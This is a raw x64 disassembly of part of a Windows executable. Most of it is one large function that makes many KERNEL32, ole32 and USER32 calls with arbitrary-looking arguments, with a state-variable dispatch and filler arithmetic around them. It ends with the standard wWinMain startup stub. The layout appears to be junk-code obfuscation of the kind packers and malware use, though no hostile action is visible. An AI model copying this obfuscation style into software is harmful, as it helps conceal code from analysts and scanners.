lea rdx, [rbp + 0x1740]
mov rax, qword [rbp + 0x23b60]
lea rcx, [rbp + 0x54a0]
mov qword [rsp + 0x20], rcx
mov r9d, r8d
mov r8d, 0x7b
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteConsoleOutputAttribute]
call rax
mov dword [rbp + 0x23b8c], eax
mov edx, dword [rbp + 0xc4]
mov rax, qword [rbp + 0x5008]
mov eax, dword [rax]
sub edx, eax
mov rax, qword [rbp + 0x242d8]
mov dword [rax], edx
nop
mov rax, qword [rbp + 0x2b98]
movzx edx, word [rax]
movzx eax, word [rbp + 0x1e9e]
add eax, edx
mov word [rbp + 0x1142], ax
mov rax, qword [rbp + 0xe98]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x24200]
mov edx, dword [rax]
mov rax, qword [rbp + 0x3f40]
sub ecx, edx
mov dword [rax], ecx
mov eax, dword [rbp + 0x31e4]
cmp eax, 0x947f59e5
je 0x14015955f
lea rdx, [rbp + 0x220]
mov dword [rsp + 0x28], 0x59
lea rax, [rbp + 0x4190]
mov qword [rsp + 0x20], rax
lea r9, str.tussling_unquoted
mov r8, rdx
mov edx, 0x25
mov ecx, 0x88
mov rax, qword [sym.imp.KERNEL32.dll_GetDateFormatW]
call rax
mov dword [rbp + 0x8ec], eax
movzx eax, word [rbp + 0x5bcc]
mov edx, eax
mov rax, qword [rbp + 0x241d8]
movzx eax, word [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x23b90]
mov word [rax], dx
lea rax, [rbp + 0x28d0]
mov rdx, rax
mov ecx, 0x5f
mov rax, qword [sym.imp.KERNEL32.dll_GetNumaProcessorNode]
call rax
mov dword [rbp + 0x23b8c], eax
mov rax, qword [rbp + 0x5008]
mov ecx, dword [rax]
mov edx, dword [rbp + 0xf2c]
mov rax, qword [rbp + 0x25e8]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [rbp + 0x40f0]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x1c57]
add eax, edx
mov byte [rbp + 0x1b1f], al
nop
mov edx, dword [rbp + 0x24280]
lea rax, [rbp + 0x3f40]
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoMarshalHresult]
call rax
mov dword [rbp + 0x23b98], eax
mov rax, qword [rbp + 0x3f40]
mov ecx, dword [rax]
mov edx, dword [rbp + 0xf2c]
mov rax, qword [rbp + 0x5008]
and edx, ecx
mov dword [rax], edx
jmp 0x140159711
mov edx, dword [rbp + 0x13a8]
mov rax, qword [rbp + 0x2468]
mov eax, dword [rax]
sub edx, eax
mov dword [rbp + 0x31e4], edx
lea rax, [rbp + 0x23d7]
mov edx, 0x6d
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoDisconnectObject]
call rax
mov dword [rbp + 0x23ba0], eax
nop
mov ecx, 0x76
mov rax, qword [sym.imp.ole32.dll_CoRevokeClassObject]
call rax
mov dword [rbp + 0x24280], eax
mov ecx, dword [rbp + 0x13a8]
mov edx, dword [rbp + 0x31e4]
mov rax, qword [rbp + 0x23e0]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x3ff0]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x40f0]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x316b], al
nop
movzx eax, word [0x140170310]
movzx eax, ax
cmp eax, 0x705
je 0x14015977e
movzx eax, byte [rbp + 0x316b]
shl eax, 7
mov byte [rbp + 0x316b], al
jmp 0x14015977f
nop
movzx eax, byte [rbp + 0x23d7]
lea edx, [rax - 0x49]
mov rax, qword [rbp + 0x28d0]
mov byte [rax], dl
mov eax, dword [rbp + 0x31e4]
sub eax, 0x4b3e35e9
mov dword [rbp + 0x31e4], eax
lea rax, [rbp + 0xd50]
mov rdx, rax
mov ecx, 0x59
mov rax, qword [sym.imp.ole32.dll_GetRunningObjectTable]
call rax
mov dword [rbp + 0xdec], eax
movzx eax, byte [rbp + 0x23d7]
lea edx, [rax - 0x5c]
mov rax, qword [rbp + 0x28d0]
mov byte [rax], dl
jmp 0x14015985f
mov dword [rbp + 0x31e4], 0x26f92317
mov eax, dword [rbp + 0x31e4]
cmp eax, 0x6f35d548
je 0x1401597f9
cmp eax, 0x809fca5e
je 0x140159834
jmp 0x14015985e
movzx eax, byte [rbp + 0x23d7]
lea edx, [rax - 0x2e]
mov rax, qword [rbp + 0x28d0]
mov byte [rax], dl
lea rax, [rbp + 0x1b60]
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoTaskMemFree]
call rax
movzx eax, byte [rbp + 0x23d7]
lea edx, [rax + 0x69]
mov rax, qword [rbp + 0x28d0]
mov byte [rax], dl
jmp 0x14015985e
movzx eax, byte [rbp + 0x316b]
add eax, 0x2b
mov byte [rbp + 0x316b], al
lea rax, [rbp + 0x740]
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoEnableCallCancellation]
call rax
mov dword [rbp + 0x2426c], eax
nop
nop
lea rdx, [rbp + 0x1b60]
lea rax, [rbp + 0x54a0]
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoGetTreatAsClass]
call rax
mov dword [rbp + 0x1e38], eax
movzx edx, byte [rbp + 0x23d7]
mov rax, qword [rbp + 0x28d0]
and edx, 7
mov byte [rax], dl
lea r8, [rbp + 0x31e4]
lea rcx, [rbp + 0x31e4]
lea rax, [rbp + 0x410]
lea rdx, [rbp + 0x23d7]
mov qword [rsp + 0x20], rdx
mov r9, r8
mov r8, rcx
mov edx, 0xb0
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoInstall]
call rax
mov dword [rbp + 0xdec], eax
jmp 0x140159927
mov eax, dword [rbp + 0x31e4]
cmp eax, 0xb4c75bbc
jne 0x140159915
mov eax, dword [0x140176030]
mov dword [rbp + 0xf2c], eax
movzx eax, byte [rbp + 0x316b]
movzx ecx, al
movzx eax, byte [rbp + 0x316b]
movzx edx, al
movzx eax, byte [rbp + 0x316b]
movzx eax, al
mov r8d, ecx
mov ecx, eax
call fcn.14015a391
jmp 0x140159926
movzx eax, byte [rbp + 0x316b]
add eax, 0x61
mov byte [rbp + 0x316b], al
nop
nop
lea rcx, [rbp + 0x54a0]
lea rdx, [rbp + 0x316b]
lea rax, [rbp + 0x5240]
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoMarshalInterThreadInterfaceInStream]
call rax
mov dword [rbp + 0x1e38], eax
jmp 0x140159961
mov eax, dword [rbp + 0xf2c]
mov ecx, eax
call fcn.14015ac03
nop
lea r8, [rbp + 0x3770]
lea rdx, [rbp + 0x3770]
lea rax, [rbp + 0x740]
mov dword [rsp + 0x28], 0xf3
lea rcx, [rbp + 0x54a0]
mov qword [rsp + 0x20], rcx
mov r9d, 0xfc
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoMarshalInterface]
call rax
mov dword [rbp + 0x24280], eax
mov eax, dword [rbp + 0x31e4]
cmp eax, 0x4233d5f5
je 0x1401599b8
cmp eax, 0x7ef0612c
je 0x1401599e2
jmp 0x1401599ef
movzx eax, byte [rbp + 0x316b]
movzx ecx, al
movzx eax, byte [rbp + 0x316b]
movzx edx, al
movzx eax, byte [rbp + 0x316b]
movzx eax, al
mov r8d, ecx
mov ecx, eax
call fcn.14015a391
jmp 0x1401599ef
mov eax, dword [0x140176030]
mov dword [rbp + 0xf2c], eax
nop
movzx eax, byte [rbp + 0x316b]
movzx ecx, al
movzx eax, byte [rbp + 0x316b]
movzx edx, al
movzx eax, byte [rbp + 0x316b]
movzx eax, al
mov r8d, ecx
mov ecx, eax
call fcn.14015a391
jmp 0x140159b13
lea r8, [rbp + 0x5a20]
lea rdx, [rbp + 0x1e38]
lea rax, [rbp + 0x1b60]
lea rcx, [rbp + 0x2764]
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x28], 0x2d
lea rcx, [rbp + 0x31e4]
mov qword [rsp + 0x20], rcx
mov r9d, 0xbc
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoGetInstanceFromIStorage]
call rax
mov dword [rbp + 0x1e38], eax
movzx eax, word [0x140170310]
cmp ax, 0xa68
jbe 0x140159ae0
mov eax, dword [rbp + 0xf2c]
cmp eax, 0x524a2bf5
je 0x140159a8f
mov dword [rbp + 0xf2c], 0x7e8c2d3c
jmp 0x140159a90
nop
lea rdx, [rbp + 0x316b]
lea rax, [rbp + 0x54a0]
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_OleGetAutoConvert]
call rax
mov dword [rbp + 0x23ba0], eax
movzx eax, byte [rbp + 0x316b]
xor eax, 0xffffff9e
mov byte [rbp + 0x316b], al
lea rdx, [rbp + 0x5a20]
lea rax, [rbp + 0x24e0]
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoTreatAsClass]
call rax
mov dword [rbp + 0xdec], eax
lea rdx, [rbp + 0x5bcc]
lea rax, [rbp + 0x3b30]
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_ProgIDFromCLSID]
call rax
mov dword [rbp + 0x1e38], eax
movzx eax, word [0x140170310]
shr ax, 3
mov word [0x140170310], ax
nop
movzx eax, byte [rbp + 0x23d7]
movsx r8d, al
mov ecx, dword [rbp + 0xf2c]
mov edx, dword [rbp + 0xf2c]
movzx eax, byte [rbp + 0x316b]
movzx eax, al
mov r9d, r8d
mov r8d, ecx
mov ecx, eax
call fcn.140159c12
jmp 0x140159b7a
movzx eax, byte [rbp + 0x23d7]
and eax, 0x31
mov byte [rbp + 0x23d7], al
lea rcx, [rbp + 0x740]
lea rdx, [rbp + 0x1b60]
lea rax, [rbp + 0x5bcc]
mov r8, rcx
mov rcx, rax
call sub.gdiplus.dll_GdiplusStartup
mov dword [rbp + 0x31e4], eax
nop
movzx eax, word [rbp + 0x5bcc]
cwde
cmp eax, 0x673
je 0x140159be6
cmp eax, 0x1d84
jne 0x140159c00
mov rax, qword [rbp + 0xd50]
lea rdx, [rbp + 0x5bcc]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetIconInfo]
call rax
mov dword [rbp + 0x2764], eax
movzx eax, byte [rbp + 0x23d7]
sub eax, 0x6f
mov byte [rbp + 0x23d7], al
lea rax, [rbp + 0x410]
mov r8d, 0xec
mov rdx, rax
mov ecx, 0x5b
mov rax, qword [sym.imp.USER32.dll_GetClipboardFormatNameW]
call rax
mov dword [rbp + 0xf2c], eax
jmp 0x140159c00
movzx eax, word [rbp + 0x5bcc]
movsx edx, ax
movzx eax, word [rbp + 0x5bcc]
cwde
mov ecx, eax
call fcn.14015ab3a
nop
mov eax, dword [rbp + 0x5474]
add rsp, 0x24398
pop rbx
pop rsi
pop rdi
pop rbp
ret
push rdi
push rbx
sub rsp, 0x98
call sub.api_ms_win_crt_runtime_l1_1_0.dll___p__wcmdln
xor edx, edx
mov rbx, qword [rax]
test rbx, rbx
jne 0x14015b543
jmp 0x14015b5c0
test ax, ax
je 0x14015b568
and edx, 1
je 0x14015b568
mov edx, 1
add rbx, 2
movzx eax, word [rbx]
cmp ax, 0x20
jbe 0x14015b530
mov ecx, edx
xor ecx, 1
cmp ax, 0x22
cmove edx, ecx
jmp 0x14015b53f
movzx eax, word [rbx + 2]
add rbx, 2
sub eax, 1
cmp ax, 0x1f
jbe 0x14015b560
lea rdx, [rsp + 0x20]
xor eax, eax
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
mov rcx, rdx
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov r9d, 0xa
test byte [rsp + 0x5c], 1
je 0x14015b59f
movzx r9d, word [rsp + 0x60]
mov rcx, qword [0x140172b40]
mov r8, rbx
xor edx, edx
add rsp, 0x98
pop rbx
pop rdi
jmp 0x1400033f0
lea rbx, [0x1401727a0]
jmp 0x14015b571